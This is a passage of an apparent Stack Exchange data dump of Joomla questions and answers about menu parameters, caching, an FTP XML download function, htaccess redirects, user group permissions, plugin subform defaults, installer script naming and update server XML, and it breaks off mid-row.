  <row Id="24005" PostTypeId="1" CreationDate="2019-01-05T16:04:13.753" Score="0" ViewCount="363" Body="&lt;p&gt;I'm trying to set one of my menu parameters.  But I'm getting the error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;0 CALL TO UNDEFINED METHOD JOOMLA\CMS\APPLICATION\SITEAPPLICATION::SETPARAMS()&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$app-&amp;gt;setParams($appParams['pageclass_sfx'],$pageClass);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I see setParams as an option in the API &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Menu.MenuItem.html#method_setParams&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/Joomla.CMS.Menu.MenuItem.html#method_setParams&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find the API quite difficult to understand without a relevant example.  From searching the CMS code on GitHub I found this example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function setParams($option, $param = false)&#xA;{&#xA;    return $this-&amp;gt;IC-&amp;gt;set_parameters($option, $param);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that seems to confirm my code is written in the right way.  In any case it seems to be saying the method doesn't exist.  &lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2019-06-08T09:03:15.407" Title="setParam says method undefined" Tags="|menu-parameters|" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="24006" PostTypeId="2" ParentId="22004" CreationDate="2019-01-05T18:46:45.477" Score="0" Body="&lt;p&gt;I can't remember the solution but in case it helps someone:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I either misspelt the subform item&lt;/li&gt;&#xA;&lt;li&gt;I had the wrong plugin/module name/directory in the subform item&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So in the last version the XML was possibly uploading but to the wrong place and then being referenced from the wrong place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did say it was admin cache, but looking back I can't believe that was true.  In any case Regular Labs Cache Cleaner can clear admin cache too.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2019-01-05T18:46:45.477" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24007" PostTypeId="2" ParentId="10402" CreationDate="2019-01-05T18:49:28.780" Score="0" Body="&lt;p&gt;I'm going to suggest that this was possibly cache failing.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was using &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Jot Cache&lt;/li&gt;&#xA;&lt;li&gt;Joomla! Cache&lt;/li&gt;&#xA;&lt;li&gt;JCH Optimise&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I removed Jot Cache and life improved.  I think I could also have set up a Cron job to clear the cache and that would have worked too.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2019-01-05T18:49:28.780" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24008" PostTypeId="2" ParentId="22953" CreationDate="2019-01-05T20:27:34.040" Score="0" Body="&lt;p&gt;This is the part of the file that you would find most relevant.  It is contained in &#xA;&lt;strong&gt;/inc/admin/views/class-admin.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  public function download_xml( $remote_file, $remote_user, $remote_pass )  {&#xA;    // Continue if FTP extension exists on the PHP server&#xA;    if(function_exists('ftp_connect')) {&#xA;      //#STEP 1 - Connect to FTP&#xA;&#xA;      $ftp_host = 'ftp.expertagent.co.uk'; // this is constant&#xA;      $ftp_port = 21; // this is constant&#xA;      $ftp_timeout = 10; // 10 seconds timeout&#xA;      $ftp_username = $remote_user;&#xA;      $ftp_password = $remote_pass;&#xA;&#xA;      $file = $remote_file;&#xA;      $extension = pathinfo($file, PATHINFO_EXTENSION); // gotta be 'xml'&#xA;      $filename = basename($file, '.xml');&#xA;&#xA;      // make sure it's XML since that's what we do!&#xA;      if( $extension !== 'xml' ) {&#xA;        update_option( 'fse_wpeaxf_remote_file', '' );&#xA;        exit( __( 'File does not exist. Please specify an XML file.', $this-&amp;gt;plugin_name ) . ' &amp;lt;a href=&quot;' . admin_url('admin.php?page='. $this-&amp;gt;plugin_name ) . '&quot;&amp;gt;' . __( 'Go back', $this-&amp;gt;plugin_name ) . '&amp;lt;/a&amp;gt;.' );&#xA;      }&#xA;&#xA;      //#STEP 2 - Download File&#xA;      $ftp_connection = ftp_connect( $ftp_host, $ftp_port, $ftp_timeout );&#xA;      if( !$ftp_connection ) {&#xA;        exit( __( 'Could not connect to FTP at the moment. Please check your FTP server status and try again.', $this-&amp;gt;plugin_name ) . ' &amp;lt;br /&amp;gt;' . __( 'If unsure, please contact Expert Agent at', $this-&amp;gt;plugin_name ) . ' support@expertagent.co.uk &amp;lt;a href=&quot;' . admin_url('admin.php?page='. $this-&amp;gt;plugin_name ) . '&quot;&amp;gt;' . __( 'Go back', $this-&amp;gt;plugin_name ) . '&amp;lt;/a&amp;gt;' );&#xA;      }&#xA;&#xA;      $login_result = ftp_login( $ftp_connection, $ftp_username, $ftp_password );&#xA;      if( !$login_result ) {&#xA;        exit( __( 'Login details did not match. Please check your FTP login details and try again.', $this-&amp;gt;plugin_name ) . ' &amp;lt;a href=&quot;' . admin_url('admin.php?page='. $this-&amp;gt;plugin_name ) . '&quot;&amp;gt;' . __( 'Go back', $this-&amp;gt;plugin_name ) . '&amp;lt;/a&amp;gt;' );&#xA;      }&#xA;&#xA;      $plugin_basename = explode( &quot;/&quot;, plugin_basename( __FILE__ ), 2 )[0]; // get the plugin's directory name  // need to change&#xA;&#xA;      // $upload_dir = wp_upload_dir(); // Array of key =&amp;gt; value pairs // don't need&#xA;      $plugin_upload_dir = JURI::root() . 'media/' . $plugin_basename . '/';&#xA;      $plugin_upload_dir_xml = JURI::root() . 'media/' . $plugin_basename . '/xml/';&#xA;&#xA;      // Create Directory /media/plugin_name/&#xA;      if(!file_exists( $plugin_upload_dir )) {&#xA;        mkdir( $plugin_upload_dir, 0755, true );&#xA;      }&#xA;&#xA;      // Create Directory /media/plugin_name/xml/&#xA;      if(!file_exists( $plugin_upload_dir_xml )) {&#xA;        mkdir( $plugin_upload_dir_xml, 0755, true );&#xA;      }&#xA;&#xA;      $local_file_path = $plugin_upload_dir_xml . $file;&#xA;      $server_file_path = $file;&#xA;&#xA;      ftp_pasv( $ftp_connection, true ); // So we don't get a BINARY Warning...&#xA;      ftp_get( $ftp_connection, $local_file_path, $server_file_path, FTP_BINARY );&#xA;      ftp_close( $ftp_connection );&#xA;&#xA;    } else {&#xA;&#xA;      exit( __( 'Please enable FTP on your server before proceeding.', $this-&amp;gt;plugin_name ) . ' &amp;lt;a href=&quot;' . admin_url('admin.php?page='. $this-&amp;gt;plugin_name ) . '&quot;&amp;gt;' . __( 'Go back', $this-&amp;gt;plugin_name ) . '&amp;lt;/a&amp;gt;' );&#xA;&#xA;    }&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Joomla! you would need to change some parts, I made an extremely rough start on this but I'll probably create this as a commercial extension in time.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2019-01-05T20:27:34.040" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24009" PostTypeId="2" ParentId="4164" CreationDate="2019-01-05T21:41:42.473" Score="0" Body="&lt;p&gt;If I have multiple menu items going to the same content, I use System Links/Menu Item Alias located in the Menu Manager. Here's an old article about it; but the method still exists today: &lt;a href=&quot;https://magazine.joomla.org/issues/issue-apr-2016/item/2997-avoid-duplicate-content-with-a-menu-item-alias&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://magazine.joomla.org/issues/issue-apr-2016/item/2997-avoid-duplicate-content-with-a-menu-item-alias&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@Neil, I agree 100% about non-www vs www content being read as duplicates. Here is the code that forces www to be non-www. Place it in your htaccess file. Also, it adds the https security protocol too. This code isn't the only method, but it's what I use successfully on many sites.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} ^www.yourwebsite.com [NC]&#xA;RewriteRule ^(.*)$ https://yourwebsite.com/$1 [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12680" LastEditorUserId="12352" LastEditDate="2019-01-06T00:11:50.467" LastActivityDate="2019-01-06T00:11:50.467" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24010" PostTypeId="2" ParentId="23988" CreationDate="2019-01-05T22:44:43.993" Score="1" Body="&lt;p&gt;As I understand it, you want to add a score for each regular musician (Trombone 1, Trombone2, Trombone 3, Trombone 4, AltoSax1, AltoSax1, etc) So, when you upload a new score, you want to give access to the regular musician and a sub, hence the use of &quot;Sub&quot; as a group. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the User Manager, your permissions are probably set up like the example below, so that everyone must be logged in and inherits the same permissions as Registered. This means that you have added these User Groups in the User Manager and set them up under &quot;Register&quot; as the parent category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Registered&#xA;       Trombone&#xA;             TromboneSub &#xA;       Trombone2&#xA;             Trombone2Sub &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since both Trombone and TromboneSub have &lt;em&gt;the exact same content&lt;/em&gt;, you don't need the Sub group. You can just use 1 group per instrument. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Registered&#xA;       Trombone&#xA;       Trombone2&#xA;       Trombone3&#xA;       ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you assign access in eDocman, don't allow access on the Registered level, only the Trombone level. That way, they do not see all subcategories under &quot;Registered&quot; including all other instruments. Also, when you create a new user, only assign them to that user group, not Registered as well.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;&lt;strong&gt;How the musician accesses your info after they log in:&lt;/strong&gt;&#xA;    Now, when a user (musician) logs in, I like to redirect them to an Article that I can update quickly. For example, it can contain notices due to bad weather. It can also link to the scores, show &quot;how to&quot; pages for new musician orientation, etc. &lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To make that happen, &#xA;1) create the article in the Article Manager,&#xA;2) create a menu item&#xA; -  Add a new menu and call it &quot;hidden menu&quot;&#xA; -  Add a new menu item and select Articles/Single Article&#xA; -  then select your article.&#xA; - Click Save.&#xA;3) Then, you can copy the &lt;em&gt;Link&lt;/em&gt; and paste it in the Login Module located in Extensions/Modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, they can just use the link from your main menu and only see their instrument for scores, but the method with a custom Article can automate more communications, far and beyond the scores.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See below a zip file that contains screenshots of:&#xA;1) Menu Item Link to copy and paste into a module&#xA;2) Login Module located in Extensions/Module Manager&#xA;3) Example of an article that goes way beyond 1 task. In this example, an admin can do what is needed to manage the entire site, including extensions like events and email blasts. In your case, you are posting scores and using it as a communication hub.&#xA;&lt;a href=&quot;https://trimedia.co/login-edocman-permissions.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;Screenshots&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="12680" LastActivityDate="2019-01-05T22:44:43.993" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24011" PostTypeId="2" ParentId="24005" CreationDate="2019-01-06T09:13:45.423" Score="1" Body="&lt;p&gt;I don't think you should be trying to set the parameter through the JApplication object, but instead via the component helper, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menuParams = JComponentHelper::getParams('com_menus');&#xA;$menuParams-&amp;gt;set('pageclass_sfx', $pageClass);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="7164" LastEditDate="2019-01-08T11:56:35.900" LastActivityDate="2019-01-08T11:56:35.900" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24012" PostTypeId="1" AcceptedAnswerId="24013" CreationDate="2019-01-06T17:44:09.903" Score="1" ViewCount="81" Body="&lt;p&gt;I'm in the process of developing a system plugin. In the options is a subform-field (repetable), which contains several fields.  In the &quot;default&quot; of the subform I can specify a record.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) How can I add multiple records as example records?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) For a &quot;number&quot; field the 0 should be given as default value. But unfortunately this is not taken over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c) Is it possible to add an install script to the plugin, similar to a&#xA;    component, to install example data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A data set in the subform-field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;default='[{&quot;flexible_holidays_name&quot;: &quot;Easter Sunday&quot;, &quot;flexible_holidays_days&quot;: &quot;0&quot;}]'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My attempt with several data sets:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;default='[{&quot;flexible_holidays0&quot;:{&quot;flexible_holidays_name&quot;: &quot;Good Friday&quot;, &quot;flexible_holidays_days&quot;:&quot;-2&quot;}, &quot;flexible_holidays1&quot;:{&quot;flexible_holidays_name&quot;: &quot;Easter Sunday&quot;, &quot;flexible_holidays_days&quot;: &quot;0&quot;}}]'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13196" LastActivityDate="2019-01-07T19:05:36.800" Title="Develop a System Plugin with Sample Data for Options" Tags="|development|plugin|extensions|plugin-events|system-plugin|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24013" PostTypeId="2" ParentId="24012" CreationDate="2019-01-06T20:42:31.730" Score="1" Body="&lt;p&gt;I am not sure there is not a simpler way. But this way you'll get what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) Create a &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;custom field&lt;/a&gt; to implement your logic. You can extend from any basic custom field types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) Simply set it manually to default to 0 (the attribute &lt;code&gt;default=&quot;0&quot;&lt;/code&gt; is accepted in most form types). This will not set the value until the user actually saves the preferences; or you could preset the values in the script mentioned below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c) Yes. it works for any extension type. Check the docs &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module/Adding_an_install-uninstall-update_script_file&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please take a moment to check the naming convention: the class name in the installer must be exact, otherwise it will simply not be invoked, and no error will be thrown to set you on the right path. In your &lt;code&gt;install.php&lt;/code&gt; methods i.e. &lt;code&gt;install, update, preflight, postflight&lt;/code&gt;, you can queue messages: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;enqueueMessage()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to know when code is working.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;For example&lt;/h1&gt;&#xA;&#xA;&lt;h3&gt;If my extension plugin xml name is &lt;strong&gt;&quot;easyhttps&quot;&lt;/strong&gt;:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;filename plugin=&quot;easyhttps&quot;&amp;gt;easyhttps.php&amp;lt;/filename&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;becomes PlgSystem&lt;strong&gt;Jsonlogger&lt;/strong&gt;InstallerScript in the classname of the installer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PlgSystemJsonloggerInstallerScript&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;A plugin with an underscore in its name: &lt;strong&gt;&quot;stripe_button&quot;&lt;/strong&gt;&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;filename plugin=&quot;stripe_button&quot;&amp;gt;stripe_button.php&amp;lt;/filename&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will keep it in the classname of the installer: PlgSystem&lt;strong&gt;Stripe_button&lt;/strong&gt;InstallerScript&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PlgSystemStripe_buttonInstallerScript&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;&lt;strong&gt;Bonus&lt;/strong&gt;: A plugin with an underscore &lt;em&gt;and&lt;/em&gt; a dash in its name: &lt;strong&gt;&quot;editors-xtd/stripe_xtd&quot;&lt;/strong&gt;&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;extension version=&quot;2.5.0&quot; type=&quot;plugin&quot; group=&quot;editors-xtd&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;&amp;lt;filename plugin=&quot;stripe_xtd&quot;&amp;gt;stripe_xtd.php&amp;lt;/filename&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will lose the dash in the classname of the installer: Plgeditorsxtd&lt;strong&gt;stripe_xtd&lt;/strong&gt;InstallerScript&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Plgeditorsxtdstripe_xtdInstallerScript&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Capitalisation&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;It is not too important: all the following work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PlgEditorsxtdstripe_xtdInstallerScript&#xA;class PlgEditorsxtdStripe_xtdInstallerScript&#xA;class Plgeditorsxtdstripe_xtdInstallerScript&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="377" LastEditorUserId="377" LastEditDate="2019-01-07T12:15:23.193" LastActivityDate="2019-01-07T12:15:23.193" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24014" PostTypeId="2" ParentId="24012" CreationDate="2019-01-06T21:48:23.253" Score="0" Body="&lt;p&gt;Remove the square brackets so data becomes a JSON object containing objects of each row:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;default='{&quot;flexible_holidays0&quot;:{&quot;flexible_holidays_name&quot;: &quot;Good Friday&quot;, &quot;flexible_holidays_days&quot;:&quot;-2&quot;}, &quot;flexible_holidays1&quot;:{&quot;flexible_holidays_name&quot;: &quot;Easter Sunday&quot;, &quot;flexible_holidays_days&quot;: &quot;0&quot;}}'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just note that having this as default essentially makes the field required. If users remove all rows, the value stored will default to this.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-01-06T21:48:23.253" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24016" PostTypeId="2" ParentId="24012" CreationDate="2019-01-07T19:05:36.800" Score="0" Body="&lt;p&gt;The square bracket was the problem. The user must specify at least 1 record. Otherwise he can deactivate the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) the number-field in the subform must specified the default=&quot;0&quot;. this i have yesterday found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c) Maybe I'll change it later to an installation script to install the sample data instead of default value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I will leave it at default value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help.&lt;/p&gt;&#xA;" OwnerUserId="13196" LastActivityDate="2019-01-07T19:05:36.800" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24017" PostTypeId="1" CreationDate="2019-01-07T22:48:03.337" Score="1" ViewCount="51" Body="&lt;p&gt;I've posted a couple of other times here, and have gotten GREAT assistance! Thank-you dedicated Joomla Stack Exchange helpers!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a 22-piece big band swing/jazz group called &lt;a href=&quot;https://www.williamandtheromantics.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;William and the Romantics&lt;/a&gt;. When we play a gig, my band director sends us a set list (see image below) that he created using some sort of office automation tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to automate this for my band director so he can jump on our personnel site (which is up and running thanks to your help!) and just fill out the information for upcoming gigs. I think I need an intelligent form tool for this. I am very happy with the extensions that you have recommended so far. Maybe there is an extension that will work? Read on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see from the set list example, there are several use cases I'd like to capture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1) We have four singers who sing different tunes during the gig. Each of the singers' material is color-coded so they can easily tell which song is up next (they hang out off-stage when they are not singing. All songs that do not have a singer have no color added to them: they are listed in black and white&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(2) Each song has a duration. My band director is an ACE at setting up set list durations that come in right on time so that we get even breaks. The &quot;Mercury Cafe&quot; location that we play at has two sets with one 15-minute break in the middle. Downbeat is a 8, we play till 10:30, so band director needs to fill 2 hours 15 minutes with song durations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(3) There is a list of alternate songs. This is hugely helpful in the event a singer has an emergency and has to take the night off (which has happened before).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(4) Our band director then emails the set list to everyone on our standard email list (which currently resides in a variety of stakeholders' Gmail or Mac mail accounts in a local email group they have created. However, if he is not aware that we have a sub or two, he might miss them. Yes, we have had subs show up looking for the chart books. Ai-yi-yi! (Thank God for ForScore and its Android cousin &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.zubersoft.mobilesheetspro&amp;amp;hl=en_US&quot; rel=&quot;nofollow noreferrer&quot;&gt;MobileSheets&lt;/a&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So...the set list form needs to have some intelligence to it. Only the site admin (me) and the band director need to have access to it. It's not an end-user thing, it's an intelligent form thing that goes into action when we need a set list.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I kind of imagine it pulling the songs' durations from a lookup table of some kind, and adding up the total in a column so the band director knows how long a particular set goes. I have no compunction about creating this table (which would probably be song name, singer and song duration). Hopefully the extension would provide this methodology, or at least some help in figuring out how to create it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Additionally, the color coding of the singers is important. A singer that cannot make a gig has their name printed on the set list in strike-through. Maybe a checkbox the band director could click so we know that singer's not going to be there? Maybe tie each singer to their song so the band director does not mistakenly include them on the set list?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Rather than having a long list of checkboxes (our current repertoire is around 150 songs), it'd be nice for the band director to be able to select a song off of a drop-down and place it in the next row down in the current set he is working on. &lt;a href=&quot;https://forscore.co/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ForScore&lt;/a&gt; works this way and it is might handy. In ForScore - which is a musician's and singer's tool for including songs in gigs and having the song show up in your iPad, you pick a song off the right-hand list of all songs in your repertoire, and then it copies that song to the set list on the left-hand side.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I think it would be hugely helpful if he had a dropdown of subs that were playing the gig. We have a guy who handles most sub bookings, and he and the band director could coordinate this so that the set list could go out to the subs when they needed to play a given gig. I imagine the sub list also being a drop-down, but one that would ultimately populate the email list of folks who'd be getting the set list.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Speaking of email list, I would like to have our band director be able to hit a button that sends the completed set list to all musicians (including any designated subs), as well as the singers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I'd like to have a Save button that saves the set list off to a folder on the personnel site with venue name and date and time stamp.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When a musician, sub, or singer receives the set list, I would love it if the email (or text) they get has a link on it that just sends them to the personnel site. They can download the set list from there, and print it out. In the event the site is down for whatever reason, maybe including in the email the PDF of the set list would be handy.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Finally, it would be wonderful if those of us who need to see the set list taped to the floor on the stage (think singers), could print out a larger landscape version that they could easily see from their position at the microphones. Our singers introduce all other singers and songs, so being able to print out a readable (e.g. large font) edition of the set list (color or B&amp;amp;W) that they could tape to the floor would be a huge help. I print out the current PDF version (see image below) for our sound mixing guys, and the ordinary portrait size is fine for them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am technical enough that I think I could tackle an extension that would do these things for me. I just don't know which extension might fit the bill. I have one that I'm trying to use right now that I paid $30 for a 6-month (!) subscription, and it is not going to meet my needs. Is this a Joomla thing, to have subscriptions expire every half year?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd rather not have to write code if I can help it. I can write code, but, honestly, if there's an extension that will do what I need, I'm happy to go with that instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/T7V1s.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/T7V1s.png&quot; alt=&quot;Typical band set list.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13183" LastActivityDate="2019-02-08T13:00:45.643" Title="Best intelligent form creator extension?" Tags="|extensions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24018" PostTypeId="2" ParentId="22227" CreationDate="2019-01-07T23:11:44.977" Score="0" Body="&lt;p&gt;Had the same problem and came across your post. I fixed it in my template, works for all Joomla versions up to 3.9.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;foreach ($doc-&amp;gt;_scripts AS $script =&amp;gt; $options) {&#xA;    if (strpos($script, 'com_your_component') === false) break;&#xA;    $doc-&amp;gt;_scripts[$script] = array_shift($doc-&amp;gt;_scripts);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13217" LastEditorUserId="12352" LastEditDate="2019-01-07T23:42:27.413" LastActivityDate="2019-01-07T23:42:27.413" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24019" PostTypeId="1" AcceptedAnswerId="24030" CreationDate="2019-01-08T01:24:25.377" Score="1" ViewCount="70" Body="&lt;p&gt;I'm trying to make this update server work, I've exhausted all option available to me. Here is what I've checked / done so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;updateserver file is located in the server and accessible (extension.xml)&#xA;downloadurl / extension file is also available and accessible (mod_my_module.zip)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked in the database tables - it uses correct url for the updateservers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;targetplatform&quot; is set and in order&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've cleared the cache and checked for update, my extension is not getting listed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What else can I check or do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is the updateserver code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;updates&amp;gt;&#xA;    &amp;lt;update&amp;gt;&#xA;        &amp;lt;name&amp;gt;Nice Social Bookmark&amp;lt;/name&amp;gt;&#xA;        &amp;lt;description&amp;gt;Nice Social Bookmark 3.5.1 - Joomla 3.x module for displaying links to most common social sites.&amp;lt;/description&amp;gt;&#xA;        &amp;lt;element&amp;gt;joomla&amp;lt;/element&amp;gt;&#xA;        &amp;lt;type&amp;gt;module&amp;lt;/type&amp;gt;&#xA;        &amp;lt;client&amp;gt;0&amp;lt;/client&amp;gt;&#xA;        &amp;lt;version&amp;gt;3.5.1&amp;lt;/version&amp;gt;&#xA;        &amp;lt;infourl title=&quot;Salamander Studios&quot;&amp;gt;https://www.salamander-studios.com/&amp;lt;/infourl&amp;gt;&#xA;        &amp;lt;downloads&amp;gt;&#xA;            &amp;lt;downloadurl type=&quot;full&quot; format=&quot;zip&quot;&amp;gt;https://www.salamander-studios.com/download/download-nice-social-bookmark-free?download=6:nice-social-bookmark-3-5-1&amp;lt;/downloadurl&amp;gt;&#xA;        &amp;lt;/downloads&amp;gt;&#xA;        &amp;lt;tags&amp;gt;&#xA;            &amp;lt;tag&amp;gt;stable&amp;lt;/tag&amp;gt;&#xA;            &amp;lt;tag&amp;gt;free&amp;lt;/tag&amp;gt;&#xA;        &amp;lt;/tags&amp;gt;&#xA;        &amp;lt;maintainer&amp;gt;Nikola Biskup&amp;lt;/maintainer&amp;gt;&#xA;        &amp;lt;maintainerurl&amp;gt;https://www.salamander-studios.com&amp;lt;/maintainerurl&amp;gt;&#xA;        &amp;lt;section&amp;gt;Social 